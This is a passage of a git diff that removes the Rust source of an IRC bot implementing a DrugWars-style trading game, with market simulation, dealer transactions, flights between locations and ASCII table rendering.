- let name = no_scent["name"].as_str().unwrap();
- let price = no_scent["price"].as_f64().unwrap();
- let capacity = no_scent["capacity"].as_u64().unwrap() as usize;
-
- items.insert(
- name.to_owned(),
- Item::NoScent(NoScent {
- nominal_price: (price * 10000.) as u128,
- capacity,
- }),
- );
- }
-
- for location in config.locations {
- let name = location.as_mapping().unwrap()["name"].as_str().unwrap();
- let lat = location.as_mapping().unwrap()["position"]
- .as_mapping()
- .unwrap()["lat"]
- .as_f64()
- .unwrap() as f32;
- let long = location.as_mapping().unwrap()["position"]
- .as_mapping()
- .unwrap()["long"]
- .as_f64()
- .unwrap() as f32;
-
- locations.insert(
- name.to_owned(),
- Location {
- lat,
- long,
- drug_market: HashMap::default(),
- item_market: HashMap::default(),
- messages: vec![],
- blokes: HashSet::default(),
- },
- );
- }
-
- // OH LOOK ! I'M FUCKING SLEEP DEPRIVATED !
- for (val_str, enum_variant) in [
- ("rumor_up_here", MessageKind::RumorUpHere),
- ("rumor_down_here", MessageKind::RumorDownHere),
- ("rumor_up_at", MessageKind::RumorUpAt),
- ("rumor_down_at", MessageKind::RumorDownAt),
- ("welcome", MessageKind::Welcome),
- ("price_up", MessageKind::PriceUp),
- ("price_up_end", MessageKind::PriceUpEnd),
- ("price_down", MessageKind::PriceDown),
- ("price_down_end", MessageKind::PriceDownEnd),
- ] {
- let msgs = &config.messages[val_str].as_sequence().unwrap();
- for msg in *msgs {
- let message_vec = messages.entry(enum_variant).or_insert_with(|| vec![]);
- message_vec.push(msg.as_str().unwrap().to_owned());
- }
- }
-
- let day_duration = config.settings["day_duration"].as_u64().unwrap() as u32;
- let current_day_str = config.settings["start_day"].as_str().unwrap();
-
- Self {
- settings: Settings {
- day_duration,
- current_day: NaiveDate::from_str(current_day_str).unwrap(),
- },
- timer: SystemTime::now(),
- dealers: HashMap::default(),
- locations,
- flights: HashMap::default(),
- drugs,
- items,
- messages,
- }
- }
-}
-
-impl DrugWars {
- pub fn load_config(path: &str) -> Self {
- let config = DrugWarsConfig::from_file(path).unwrap();
-
- config.into()
- }
-
- pub fn init(&mut self) {
- println!("initializing.");
- let mut rng = rand::thread_rng();
-
- self.update_markets(&mut rng);
- }
-
- fn update_markets(&mut self, rng: &mut dyn RngCore) {
- for (_, location) in &mut self.locations {
- location.drug_market.clear();
- location.item_market.clear();
-
- for (drug_name, drug) in &self.drugs {
- if rng.gen_bool(4. / 5.) {
- continue;
- };
-
- let float_price = (drug.nominal_price as f32) / 10000.;
-
- let normal = Normal::new(float_price, float_price / 2.).unwrap();
-
- location.drug_market.insert(
- drug_name.clone(),
- MarketDrug {
- supply: rng.gen_range(0..1000),
- demand: rng.gen_range(0..1000),
- price: (normal.sample(rng) * 10000.) as u128,
- },
- );
- }
-
- for (item_name, item) in &self.items {
- if rng.gen_bool(4. / 5.) {
- continue;
- };
-
- let float_price = (item.nominal_price() as f32) / 10000.;
-
- let normal = Normal::new(float_price, float_price / 2.).unwrap();
-
- location.item_market.insert(
- item_name.clone(),
- MarketItem {
- supply: rng.gen_range(0..1000),
- demand: rng.gen_range(0..1000),
- price: (normal.sample(rng) * 10000.) as u128,
- },
- );
- }
- }
- }
-
- pub fn new_day(&mut self, irc: &mut Irc) {
- let Ok(elapsed) = self.timer.elapsed() else { return; };
-
- if elapsed.as_secs_f32() > self.settings.day_duration as f32 {
- irc.privmsg_all("new day!");
-
- self.timer = SystemTime::now();
- self.settings.current_day += Duration::days(1);
-
- for (nick, destination) in &mut self.flights.clone() {
- let dealer = self.get_dealer_mut(nick).unwrap();
-
- // Should do mem trick at other places...
- irc.privmsg_all(&format!("{}: You landed at {}", nick, destination));
- dealer.location = std::mem::take(destination);
- dealer.status = DealerStatus::Available;
-
- let location = self.locations.get_mut(destination).unwrap();
- location.blokes.insert(nick.clone());
- }
-
- self.flights.clear();
-
- let mut rng = rand::thread_rng();
- self.update_markets(&mut rng);
- }
- }
-
- pub fn get_dealer(&self, nick: &str) -> Option<&Dealer> {
- self.dealers.get(nick)
- }
-
- pub fn get_dealer_mut(&mut self, nick: &str) -> Option<&mut Dealer> {
- self.dealers.get_mut(nick)
- }
-
- pub fn dealer_not_registered(&self, nick: &str) -> Vec<String> {
- vec![format!("{} is not registered.", nick)]
- }
-
- pub fn dealer_not_available(&self, nick: &str) -> Vec<String> {
- let dealer = self.get_dealer(nick).unwrap();
-
- match dealer.status {
- DealerStatus::Flying => vec![format!("{}: Can't do business while flying", nick)],
- _ => vec![],
- }
- }
-
- pub fn _buy_drug(
- &mut self,
- nick: &str,
- drug_name: &str,
- amount: usize,
- price: u128,
- ) -> Vec<String> {
- let total_price = price * amount as u128;
-
- let mut location = String::new();
-
- let dealer = self.get_dealer_mut(nick).unwrap();
- dealer.money -= total_price;
- dealer.add_drug_local(drug_name, amount, price);
- location += &dealer.location;
-
- let location = self.locations.get_mut(&location).unwrap();
- let market_drug = location.drug_market.get_mut(drug_name).unwrap();
- market_drug.supply -= amount;
- market_drug.demand += amount;
-
- vec![format!(
- "{}: you bought {} {} for {}",
- nick,
- amount,
- drug_name,
- pretty_print_money(total_price)
- )]
- }
-
- pub fn _sell_drug(
- &mut self,
- nick: &str,
- drug_name: &str,
- amount: usize,
- price: u128,
- ) -> Vec<String> {
- let total_price = price * amount as u128;
-
- let mut location = String::new();
-
- let dealer = self.get_dealer_mut(nick).unwrap();
- dealer.money += total_price;
- dealer.sub_drug_local(drug_name, amount);
- location += &dealer.location;
-
- let location = self.locations.get_mut(&location).unwrap();
- let market_drug = location.drug_market.get_mut(drug_name).unwrap();
- market_drug.supply += amount;
- market_drug.demand -= amount;
-
- vec![format!(
- "{}: you sold {} {} for {}",
- nick,
- amount,
- drug_name,
- pretty_print_money(total_price)
- )]
- }
-
- pub fn _buy_item(
- &mut self,
- nick: &str,
- item_name: &str,
- amount: usize,
- price: u128,
- ) -> Vec<String> {
- let total_price = price * amount as u128;
-
- let mut location = String::new();
-
- let dealer = self.get_dealer_mut(nick).unwrap();
- dealer.money -= total_price;
- dealer.add_item_local(item_name, amount, price);
- location += &dealer.location;
-
- let location = self.locations.get_mut(&location).unwrap();
- let market_item = location.item_market.get_mut(item_name).unwrap();
- market_item.supply -= amount;
- market_item.demand += amount;
-
- vec![format!(
- "{}: you bought {} {} for {}",
- nick,
- amount,
- item_name,
- pretty_print_money(total_price)
- )]
- }
-
- pub fn _sell_item(
- &mut self,
- nick: &str,
- item_name: &str,
- amount: usize,
- price: u128,
- ) -> Vec<String> {
- let total_price = price * amount as u128;
-
- let mut location = String::new();
-
- let dealer = self.get_dealer_mut(nick).unwrap();
- dealer.money += total_price;
- dealer.sub_item_local(item_name, amount);
- location += &dealer.location;
-
- let location = self.locations.get_mut(&location).unwrap();
- let market_item = location.item_market.get_mut(item_name).unwrap();
- market_item.supply += amount;
- market_item.demand -= amount;
-
- vec![format!(
- "{}: you sold {} {} for {}",
- nick,
- amount,
- item_name,
- pretty_print_money(total_price)
- )]
- }
-
- pub fn _give_money(&mut self, nick: &str, bloke_nick: &str, money: u128) -> Vec<String> {
- let dealer = self.get_dealer_mut(nick).unwrap();
- dealer.money -= money;
-
- let bloke = self.get_dealer_mut(bloke_nick).unwrap();
- bloke.money += money;
-
- vec![format!(
- "{}: you gave {} {}",
- nick,
- bloke_nick,
- pretty_print_money(money),
- )]
- }
-
- pub fn _give_drug(
- &mut self,
- nick: &str,
- bloke_nick: &str,
- drug_name: &str,
- amount: usize,
- ) -> Vec<String> {
- let dealer = self.get_dealer_mut(nick).unwrap();
- dealer.sub_drug_local(drug_name, amount);
-
- let bloke = self.get_dealer_mut(bloke_nick).unwrap();
- bloke.add_drug_local(drug_name, amount, 0);
-
- vec![format!(
- "{}: you gave {} {} to {}",
- nick, amount, drug_name, bloke_nick
- )]
- }
-
- pub fn _give_item(
- &mut self,
- nick: &str,
- bloke_nick: &str,
- item_name: &str,
- amount: usize,
- ) -> Vec<String> {
- let dealer = self.get_dealer_mut(nick).unwrap();
- dealer.sub_item_local(item_name, amount);
-
- let bloke = self.get_dealer_mut(bloke_nick).unwrap();
- bloke.add_item_local(item_name, amount, 0);
-
- vec![format!(
- "{}: you gave {} {} to {}",
- nick, amount, item_name, bloke_nick
- )]
- }
-
- pub fn _fly_to(&mut self, nick: &str, destination_name: &str) -> Vec<String> {
- let dealer = self.get_dealer(nick).unwrap();
- let current_location = self.locations.get(&dealer.location).unwrap();
- let destination = self.locations.get(destination_name).unwrap();
-
- let price = get_flight_price(current_location, destination);
-
- let current_location = self.locations.get_mut(&dealer.location.clone()).unwrap();
- current_location.blokes.remove(nick);
-
- let dealer = self.get_dealer_mut(nick).unwrap();
-
- dealer.money -= price;
- dealer.status = DealerStatus::Flying;
-
- self.flights
- .insert(nick.to_string(), destination_name.to_owned());
-
- vec![format!(
- "{}: you take a flight to {} for {}. You'll arrive tomorrow",
- nick,
- destination_name,
- pretty_print_money(price)
- )]
- }
-
- pub fn prices_from(&self, current_location_name: &str) -> Vec<String> {
- let mut lines = vec![];
-
- let current_location = self.locations.get(current_location_name).unwrap();
-
- for (location_name, location) in &self.locations {
- if location_name.as_str() == current_location_name {
- continue;
- }
-
- let price = get_flight_price(current_location, location);
-
- lines.push(format!(
- "From `{}` to `{}` -> {}",
- current_location_name,
- location_name,
- pretty_print_money(price)
- ));
- }
-
- lines
- }
-
- pub fn _buy_capacity(&mut self, nick: &str, amount: usize) -> Vec<String> {
- let dealer = self.get_dealer_mut(nick).unwrap();
-
- let Some(price) = capacity_price(dealer.capacity, amount) else {
- return vec![
- format!("{}: You won't ever need that much capacity. Will you?", nick)
- ];
- };
-
- dealer.money -= price;
- dealer.capacity += amount;
-
- return vec![format!(
- "{}: You bought {} slots for {}",
- nick,
- amount,
- pretty_print_money(price)
- )];
- }
-}
diff --git a/irc/bots/drugwars/drugwars/src/main.rs b/irc/bots/drugwars/drugwars/src/main.rs
@@ -1,276 +0,0 @@
-pub mod config;
-pub mod drug_wars;
-pub mod utils;
-pub mod render;
-pub mod definitions;
-pub mod dealer;
-pub mod api;
-
-use std::{
- sync::{Arc, RwLock},
- time::Duration,
-};
-
-use drug_wars::DrugWars;
-use irc::{typemap::TypeMapKey, Irc, IrcPrefix};
-
-struct GameManager;
-
-impl TypeMapKey for GameManager {
- type Value = Arc<RwLock<DrugWars>>;
-}
-
-fn main() {
- let drug_wars_arc = Arc::new(RwLock::new(DrugWars::load_config("drugwars_config.yaml")));
-
- {
- let mut drug_wars = drug_wars_arc.write().unwrap();
- drug_wars.init();
- }
-
- let mut irc = Irc::from_config("irc_config.yaml")
- .add_resource::<Arc<RwLock<DrugWars>>, GameManager>(drug_wars_arc.clone())
- .add_default_system(melp)
- .add_system("register", register)
- .add_system("todo", todo)
- .add_system("p", show_page)
- .add_system("mw", set_max_width)
- .add_system("gm", give_money)
- .add_system("gd", give_drug)
- .add_system("gi", give_item)
- .add_system("bd", buy_drug)
- .add_system("sd", sell_drug)
- .add_system("bi", buy_item)
- .add_system("bc", buy_capacity)
- .add_system("cc", check_capacity_price)
- .add_system("si", sell_item)
- .add_system("fp", check_flight_prices)
- .add_system("f", flight)
- .build();
-
- irc.connect().unwrap();
- irc.register();
-
- loop {
- {
- let mut drug_wars = drug_wars_arc.write().unwrap();
- drug_wars.new_day(&mut irc);
- }
- irc.update();
- std::thread::sleep(Duration::from_millis(50));
- }
-}
-
-fn register(irc: &mut Irc, prefix: &IrcPrefix, _arguments: Vec<&str>) -> Option<Vec<String>> {
- let data = irc.data().get::<GameManager>().unwrap();
- let mut drug_wars = data.write().unwrap();
- Some(drug_wars.register_dealer(prefix.nick))
-}
-
-fn show_page(irc: &mut Irc, prefix: &IrcPrefix, _arguments: Vec<&str>) -> Option<Vec<String>> {
- let data = irc.data().get::<GameManager>().unwrap();
- let drug_wars = data.read().unwrap();
- Some(drug_wars.show_page_for_nick(prefix.nick))
-}
-
-fn melp(_irc: &mut Irc, _prefix: &IrcPrefix, _arguments: Vec<&str>) -> Option<Vec<String>> {
- Some(vec!["melp?".to_owned()])
-}
-
-fn set_max_width(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
- let data = irc.data().get::<GameManager>().unwrap();
-
- let Ok(size) = arguments[0].parse::<usize>() else {
- return Some(vec![
- format!(
- "{}: Unable to parse {} as usize",
- prefix.nick, arguments[1]
- )
- ]);
- };
-
- if size < 75 || size > 130 {
- return Some(vec![
- format!("{}: Size must be between 75 and 130", prefix.nick)
- ])
- }
-
- let mut drug_wars = data.write().unwrap();
- Some(drug_wars.set_dealer_max_width(prefix.nick, size))
-}
-
-fn todo(_irc: &mut Irc, prefix: &IrcPrefix, _arguments: Vec<&str>) -> Option<Vec<String>> {
- Some(vec![
- format!("{}: list of things to add:", prefix.nick),
- "- encounters".to_owned(),
- "- usage of items".to_owned(),
- "- messages / rumors, the fun stuff".to_owned(),
- "- save / load game".to_owned(),
- "- shipping".to_owned(),
- "- attack blokes @ same city".to_owned(),
- "- some kind of flood protection".to_owned(),
- "- some kind of spam protection".to_owned(),
- "- single rng shared everywher".to_owned(),
- "- refactor all this shit".to_owned(),
- "- colors ^-^".to_owned(),
- ])
-}
-
-fn buy_drug(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
- let data = irc.data().get::<GameManager>().unwrap();
- let Ok(amount) = arguments[1].parse::<usize>() else {
- return Some(vec![
- format!(
- "{}: Unable to parse {} as usize",
- prefix.nick, arguments[1]
- )
- ]);
- };
-
- let mut drug_wars = data.write().unwrap();
- Some(drug_wars.buy_drug(prefix.nick, arguments[0], amount))
-}
-
-fn sell_drug(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
- let data = irc.data().get::<GameManager>().unwrap();
-
- let Ok(amount) = arguments[1].parse::<usize>() else {
- return Some(vec![
- format!(
- "{}: Unable to parse {} as usize",
- prefix.nick, arguments[1]
- )
- ]);
- };
-
- let mut drug_wars = data.write().unwrap();
- Some(drug_wars.sell_drug(prefix.nick, arguments[0], amount))
-}
-
-fn buy_item(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
- let data = irc.data().get::<GameManager>().unwrap();
-
- let Ok(amount) = arguments[1].parse::<usize>() else {
- return Some(vec![
- format!(
- "{}: Unable to parse {} as usize",
- prefix.nick, arguments[1]
- )
- ]);
- };
-
- let mut drug_wars = data.write().unwrap();
- Some(drug_wars.buy_item(prefix.nick, arguments[0], amount))
-}
-
-fn sell_item(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
- let data = irc.data().get::<GameManager>().unwrap();
- let Ok(amount) = arguments[1].parse::<usize>() else {
- return Some(vec![
- format!(
- "{}: Unable to parse {} as usize",
- prefix.nick, arguments[1]
- )
- ]);
- };
-
- let mut drug_wars = data.write().unwrap();
- Some(drug_wars.sell_item(prefix.nick, arguments[0], amount))
-}
-
-fn check_flight_prices(irc: &mut Irc, prefix: &IrcPrefix, _arguments: Vec<&str>) -> Option<Vec<String>> {
- let data = irc.data().get::<GameManager>().unwrap();
- let drug_wars = data.write().unwrap();
- Some(drug_wars.check_flight_prices(prefix.nick))
-}
-
-fn flight(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
- let data = irc.data().get::<GameManager>().unwrap();
- let mut drug_wars = data.write().unwrap();
- Some(drug_wars.fly_to(prefix.nick, arguments[0]))
-}
-
-fn give_money(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
- let data = irc.data().get::<GameManager>().unwrap();
- let Ok(amount) = arguments[1].parse::<f64>() else {
- return Some(vec![
- format!(
- "{}: Unable to parse `{}` as f64",
- prefix.nick, arguments[1]
- )
- ]);
- };
-
- if amount < 0. {
- return Some(vec![
- format!(
- "{}: Can't give negative money",
- prefix.nick
- )
- ]);
- }
-
- let mut drug_wars = data.write().unwrap();
- Some(drug_wars.give_money(prefix.nick, amount, arguments[0]))
-}
-
-fn give_drug(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
- let data = irc.data().get::<GameManager>().unwrap();
- let Ok(amount) = arguments[2].parse::<usize>() else {
- return Some(vec![
- format!(
- "{}: Unable to parse {} as usize",
- prefix.nick, arguments[2]
- )
- ]);
- };
-
- let mut drug_wars = data.write().unwrap();
- Some(drug_wars.give_drug(prefix.nick, arguments[1], amount, arguments[0]))
-}
-
-fn give_item(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
- let data = irc.data().get::<GameManager>().unwrap();
- let Ok(amount) = arguments[2].parse::<usize>() else {
- return Some(vec![
- format!(
- "{}: Unable to parse {} as usize",
- prefix.nick, arguments[2]
- )
- ]);
- };
-
- let mut drug_wars = data.write().unwrap();
- Some(drug_wars.give_item(prefix.nick, arguments[1], amount, arguments[0]))
-}
-
-fn buy_capacity(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
- let data = irc.data().get::<GameManager>().unwrap();
- let Ok(amount) = arguments[0].parse::<usize>() else {
- return Some(vec![
- format!(
- "{}: Unable to parse {} as usize",
- prefix.nick, arguments[0]
- )
- ]);
- };
-
- let mut drug_wars = data.write().unwrap();
- Some(drug_wars.buy_capacity(prefix.nick, amount))
-}
-
-fn check_capacity_price(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
- let data = irc.data().get::<GameManager>().unwrap();
-
- let Ok(amount) = arguments[0].parse::<usize>() else {
- return Some(vec![
- format!(
- "{}: Unable to parse {} as usize",
- prefix.nick, arguments[0]
- )
- ]);
- };
-
- let mut drug_wars = data.write().unwrap();
- Some(drug_wars.check_capacity_price(prefix.nick, amount))
-}
-\ No newline at end of file
diff --git a/irc/bots/drugwars/drugwars/src/render.rs b/irc/bots/drugwars/drugwars/src/render.rs
@@ -1,714 +0,0 @@
-use chrono::Duration;
-use itertools::Itertools;
-
-use crate::{
- dealer::Dealer,
- drug_wars::DrugWars,
- utils::{pretty_print_money, truncate_string},
-};
-
-impl DrugWars {
- fn get_date_and_time(&self) -> String {
- let current_date = self.settings.current_day.format("%Y-%m-%d").to_string();
-
- let t = self.timer.elapsed().unwrap().as_secs_f32() / self.settings.day_duration as f32;
-
- let current_seconds = t * 86400.;
-
- let duration = Duration::seconds(current_seconds as i64);
-
- let current_time = format!(
- "{:0>2}:{:0>2}",
- duration.num_hours(),
- duration.num_minutes() - (60 * duration.num_hours())
- );
-
- format!("{} {}", current_date, current_time)
- }
-
- pub fn render_header(&self, nick: &str, dealer: &Dealer) -> Vec<String> {
- let mut lines = vec![];
-
- let date_nick_line = format!(
- "╭ {} ─ {} ─ {} ─ {} ─ {} ",
- self.get_date_and_time(),
- nick,
- pretty_print_money(dealer.money),
- dealer.location,
- dealer.print_status()
- );
- let top_box_line = "─".repeat(dealer.max_width - date_nick_line.chars().count() - 1);
-
- lines.push(format!("{}{}╮", date_nick_line, top_box_line));
-
- let location = self.locations.get(&dealer.location).unwrap();
-
- for msg in &location.messages {
- let start = format!("│ {}", msg);
- let spaces = " ".repeat(dealer.max_width - start.chars().count() - 1);
-
- lines.push(format!("{}{}│", start, spaces));
- }
-
- lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
-
- lines
- }
-
- pub fn render_drugs(&self, dealer: &Dealer) -> Vec<String> {
- let mut lines = vec![];
-
- let market_column_width = ((dealer.max_width - 4) as f32 / 4.).floor() as usize;
- let owned_column_width = ((dealer.max_width - 4) as f32 / 3.).floor() as usize;
-
- lines.push(format!(
- "╭ Drugs market {}╮",
- "─".repeat(dealer.max_width - 16)
- ));
-
- let mut market_header = String::new();
- for col_name in ["Drug", "Supply", "Demand", "Price"] {
- let spaces = " ".repeat(market_column_width - col_name.chars().count());
- market_header += &format!("{}{}", col_name, spaces);
- }
-
- market_header += &" ".repeat(dealer.max_width - market_header.chars().count() - 4);
-
- lines.push(format!("│ {} │", market_header));
-
- let location = self.locations.get(&dealer.location).unwrap();
-
- for (drug_name, drug) in &location.drug_market {
- let mut market_column = String::new();
-
- let value = truncate_string(&drug_name, market_column_width);
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(&format!("{}", drug.supply), market_column_width);
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(&format!("{}", drug.demand), market_column_width);
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(
- &format!("{}", pretty_print_money(drug.price)),
- market_column_width,
- );
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- market_column += &" ".repeat(dealer.max_width - market_column.chars().count() - 4);
-
- lines.push(format!("│ {} │", market_column));
- }
-
- lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
-
- let mut header_line = format!(
- "╭ Owned drugs ({}/{})",
- dealer.get_total_drugs_local(),
- dealer.capacity
- );
-
- header_line += &format!(
- "{}╮",
- "─".repeat(dealer.max_width - header_line.chars().count() - 1)
- );
- lines.push(header_line);
-
- let mut owned_header = String::new();
- for col_name in ["Drug", "Amount", "Bought at"] {
- let spaces = " ".repeat(owned_column_width - col_name.chars().count());
- owned_header += &format!("{}{}", col_name, spaces);
- }
-
- owned_header += &" ".repeat(dealer.max_width - owned_header.chars().count() - 4);
-
- lines.push(format!("│ {} │", owned_header));
-
- let owned_local = dealer.get_local_drugs();
-
- for (drug_name, drug) in owned_local {
- let mut owned_column = String::new();
-
- let value = truncate_string(&drug_name, owned_column_width);
- let spaces = " ".repeat(owned_column_width - value.chars().count());
- owned_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(&format!("{}", drug.amount), owned_column_width);
- let spaces = " ".repeat(owned_column_width - value.chars().count());
- owned_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(
- &format!("{}", pretty_print_money(drug.bought_at)),
- owned_column_width,
- );
- let spaces = " ".repeat(owned_column_width - value.chars().count());
- owned_column += &format!("{}{}", value, spaces);
-
- owned_column += &" ".repeat(dealer.max_width - owned_column.chars().count() - 4);
-
- lines.push(format!("│ {} │", owned_column));
- }
-
- lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
-
- lines
- }
-
- pub fn render_items(&self, dealer: &Dealer) -> Vec<String> {
- let mut lines = vec![];
-
- let market_column_width = ((dealer.max_width - 4) as f32 / 4.).floor() as usize;
- let owned_column_width = ((dealer.max_width - 4) as f32 / 3.).floor() as usize;
-
- lines.push(format!(
- "╭ Items market {}╮",
- "─".repeat(dealer.max_width - 16)
- ));
-
- let mut market_header = String::new();
- for col_name in ["Item", "Supply", "Demand", "Price"] {
- let spaces = " ".repeat(market_column_width - col_name.chars().count());
- market_header += &format!("{}{}", col_name, spaces);
- }
-
- market_header += &" ".repeat(dealer.max_width - market_header.chars().count() - 4);
-
- lines.push(format!("│ {} │", market_header));
-
- let location = self.locations.get(&dealer.location).unwrap();
-
- for (item_name, item) in &location.item_market {
- let mut market_column = String::new();
-
- let value = truncate_string(&item_name, market_column_width);
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(&format!("{}", item.supply), market_column_width);
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(&format!("{}", item.demand), market_column_width);
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(
- &format!("{}", pretty_print_money(item.price)),
- market_column_width,
- );
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- market_column += &" ".repeat(dealer.max_width - market_column.chars().count() - 4);
-
- lines.push(format!("│ {} │", market_column));
- }
-
- lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
-
- let mut header_line = format!(
- "╭ Owned items ({}/{})",
- dealer.get_total_drugs_local(),
- dealer.capacity
- );
-
- header_line += &format!(
- "{}╮",
- "─".repeat(dealer.max_width - header_line.chars().count() - 1)
- );
- lines.push(header_line);
-
- let mut owned_header = String::new();
- for col_name in ["Item", "Amount", "Bought at"] {
- let spaces = " ".repeat(owned_column_width - col_name.chars().count());
- owned_header += &format!("{}{}", col_name, spaces);
- }
-
- owned_header += &" ".repeat(dealer.max_width - owned_header.chars().count() - 4);
-
- lines.push(format!("│ {} │", owned_header));
-
- let owned_local = dealer.get_local_drugs();
-
- for (item_name, item) in owned_local {
- let mut owned_column = String::new();
-
- let value = truncate_string(&item_name, owned_column_width);
- let spaces = " ".repeat(owned_column_width - value.chars().count());
- owned_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(&format!("{}", item.amount), owned_column_width);
- let spaces = " ".repeat(owned_column_width - value.chars().count());
- owned_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(
- &format!("{}", pretty_print_money(item.bought_at)),
- owned_column_width,
- );
- let spaces = " ".repeat(owned_column_width - value.chars().count());
- owned_column += &format!("{}{}", value, spaces);
-
- owned_column += &" ".repeat(dealer.max_width - owned_column.chars().count() - 4);
-
- lines.push(format!("│ {} │", owned_column));
- }
-
- lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
- lines
- }
-
- pub fn render_drugs_dual_columns(&self, dealer: &Dealer) -> Vec<String> {
- let mut lines = vec![];
-
- let market_width = dealer.max_width / 2;
- let owned_width = dealer.max_width / 2;
-
- let market_column_width = ((market_width - 2) as f32 / 4.).floor() as usize;
- let owned_column_width = ((owned_width - 2) as f32 / 3.).floor() as usize;
-
- let mut header_line = format!(
- "╭ Drugs market {}┬ Owned drugs ({}/{}) ",
- "─".repeat(market_width - 16),
- dealer.get_total_drugs_local(),
- dealer.capacity,
- );
-
- header_line += &format!(
- "{}╮",
- "─".repeat(dealer.max_width - header_line.chars().count() - 1)
- );
-
- lines.push(header_line);
-
- // Market column headers
- let mut market_header = String::new();
- for col_name in ["Drug", "Supply", "Demand", "Price"] {
- let spaces = " ".repeat(market_column_width - col_name.chars().count());
- market_header += &format!("{}{}", col_name, spaces);
- }
-
- println!(
- "mw: {}, mh: {}",
- market_width,
- market_header.chars().count()
- );
- let offset = (market_width - market_header.chars().count()).min(3);
-
- market_header += &" ".repeat(market_width - market_header.chars().count() - offset);
-
- // Owned column headers
- let mut owned_header = String::new();
- for col_name in ["Drug", "Amount", "Bought at"] {
- let spaces = " ".repeat(owned_column_width - col_name.chars().count());
- owned_header += &format!("{}{}", col_name, spaces);
- }
-
- let offset = (owned_width - owned_header.chars().count()).min(2);
- owned_header += &" ".repeat(owned_width - owned_header.chars().count() - offset);
-
- lines.push(format!("│ {}│ {}│", market_header, owned_header));
-
- let location = self.locations.get(&dealer.location).unwrap();
-
- let owned_local = dealer.get_local_drugs();
-
- for pair in location.drug_market.iter().zip_longest(owned_local.iter()) {
- match pair {
- itertools::EitherOrBoth::Both(market, owned) => {
- // Market column
- let mut market_column = String::new();
-
- let value = truncate_string(market.0, market_column_width);
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let value =
- truncate_string(&format!("{}", market.1.supply), market_column_width);
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let value =
- truncate_string(&format!("{}", market.1.demand), market_column_width);
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(
- &format!("{}", pretty_print_money(market.1.price)),
- market_column_width,
- );
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let offset = (market_width - market_column.chars().count()).min(3);
- market_column +=
- &" ".repeat(market_width - market_column.chars().count() - offset);
-
- // Owned column
- let mut owned_column = String::new();
-
- let value = truncate_string(owned.0, owned_column_width);
- let spaces = " ".repeat(owned_column_width - value.chars().count());
- owned_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(&format!("{}", owned.1.amount), owned_column_width);
- let spaces = " ".repeat(owned_column_width - value.chars().count());
- owned_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(
- &format!("{}", pretty_print_money(owned.1.bought_at)),
- owned_column_width,
- );
- let spaces = " ".repeat(owned_column_width - value.chars().count());
- owned_column += &format!("{}{}", value, spaces);
-
- let offset = (owned_width - owned_column.chars().count()).min(2);
- owned_column +=
- &" ".repeat(owned_width - owned_column.chars().count() - offset);
-
- lines.push(format!("│ {}│ {}│", market_column, owned_column));
- }
- itertools::EitherOrBoth::Left(market) => {
- // Market column
- let mut market_column = String::new();
-
- let value = truncate_string(market.0, market_column_width);
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let value =
- truncate_string(&format!("{}", market.1.supply), market_column_width);
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let value =
- truncate_string(&format!("{}", market.1.demand), market_column_width);
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(
- &format!("{}", pretty_print_money(market.1.price)),
- market_column_width,
- );
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let offset = (market_width - market_column.chars().count()).min(3);
- market_column +=
- &" ".repeat(market_width - market_column.chars().count() - offset);
-
- lines.push(format!(
- "│ {}│ {}│",
- market_column,
- " ".repeat(owned_width - 2)
- ));
- }
